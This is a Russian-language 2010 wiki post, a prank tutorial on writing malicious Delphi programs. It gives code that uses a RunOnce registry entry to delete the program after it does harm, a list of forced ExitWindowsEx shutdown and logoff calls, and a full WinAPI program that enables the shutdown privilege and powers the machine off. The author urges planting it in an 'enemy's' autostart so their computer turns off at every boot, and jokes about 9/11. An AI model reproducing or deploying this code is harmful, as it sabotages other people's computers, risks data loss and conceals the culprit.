Западло на делфи. - 10 Сентября 2010 - WIKI сайт про всё, что можно подумать
E-mail:
Пароль:

Wiki сайт: Всё про всё

Меню сайта
Главная » 2010 » Сентябрь » 10 » Западло на делфи.
11:44 Am
Западло на делфи.

                                   

Ну первое что мы будем делать это дополнение к любой программе, тоесть камикадзе, для тех кто в танке программа самоликвидируется после того, как cделает что-то плохое всеравно, что убил козла, которого ты не любишь прямо на глазах у ментов или как в америке... взял самолет упал на пентагон 8-).
Юзался 5-ый делфи. Ну ясень пень пишим какую нить прогу например из первой статьи
Западло на делфи. В первой проге,  после её написания, не спишите писать end, нужно будет добавить еще вот это:

В разделе uses объявляем модуль Registry...и нажатием кнопки обрабатываем следующим образом:

procedure TForm1.Button1Click(Sender: TObject);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
with reg do begin
RootKey := HKEY_LOCAL_MACHINE;
LazyWrite := false;
OpenKey('Software\Microsoft\Windows\CurrentVersion\RunOnce',
false);
WriteString('Delete Me!','command.com /c del FILENAME.EXT');
CloseKey;
free;
end;
end;

Ну с камикадзе закончили, теперь что-нить не ожиданное для юзера.... выключить монитор?? - не это конечно круто, но можно сделать покруче... типа выключим или перезагрузим его компьютер =) саму программу писать не будем, а поясним главные действия... приступим:

ExitWindowsEx(EWX_LOGOFF or ewx_force,0); /*завершает работу всех запущенных в системе процессов, сохраняя данные приложения, вызвавшего эту функцию*/

ExitWindowsEx(EWX_SHUTDOWN or ewx_force,0); /*останавливает работу системы в безопасный момент времени. Все буферы очищаются с сохранением данных на диске, все процессы останавливаются*/

ExitWindowsEx(EWX_REBOOT or ewx_force,0); /*перезагрузка системы*/

ExitWindowsEx(EWX_FORCE or ewx_force,0); /*завершает работу всех запущенных в системе приложений, не посылая им сообщения WM_QUERYENDSESSION и WM_ENDSESSIO. Это может вызвать потерю не сохраненных данных*/

ExitWindowsEx(EWX_POWEROFF or ewx_force,0); /*завершает работу компьютера с выключением питания, если система поддерживает автоуправление питанием*/

ExitWindowsEx(EWX_FORCEIFHUNG or ewx_force,0); /*завершает работу всех запущенных в системе приложений если система висит*/

ну вот и все добавить пару строчек в свою прогу и все будет руль. Но есть проблемма если у твоего врага стоит win2000 то его так просто не вырубить но если ты все же хочеш сунуть свою прогу ему в автозапуск чтоб при вкл компа он всегда выключался(если конечно он не поймет что в автозапуске стоит дерьмо которое вырубает его комп) то пишем прогу на WinApi, выключающюю W2k  и которая весит по меньшей мере 10метров шутка =) 10кб, ну епт ты уже наверно думаеш ближе к делу браток как написать эту хрень 8-), ну тогда приступим: 

Создаем обычный текстовый документ, открываем его любым редактором и водим следующий бред:

program reboot;
uses Windows, messages;

procedure RebootSystem;
var
handle_: THandle;
n: DWORD;
luid: TLargeInteger;
priv: TOKEN_PRIVILEGES;
ver: TOSVERSIONINFO;
begin
ver.dwOSVersionInfoSize := Sizeof(ver);
GetVersionEx(ver);
if ver.dwPlatformId=VER_PLATFORM_WIN32_NT then begin
if OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, handle_) then if LookupPrivilegeValue(nil, 'SeShutdownPrivilege', luid) then begin priv.PrivilegeCount := 1; priv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; priv.Privileges[0].Luid := luid; AdjustTokenPrivileges(handle_, false, priv, 0, nil, n); end else writeln('
Ошибка') else writeln('Ошибка '); end else writeln('Ошибка '); if not ExitWindowsEx(EWX_POWEROFF,1) then writeln('Ошибка'); end;

begin
RebootSystem;
end. 

 

Сохраняем этот файл под именем Reboot.dpr, заходим в делфи и компилируем этот файл и все готово =).

 

Вы не думайте что я такой монстр в делфи... я только учюсь. :-).


 

Категория: Советы Безопасности при Использовании компьютера | Просмотров: 7 | Добавил: torayevtm | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email:
Код *: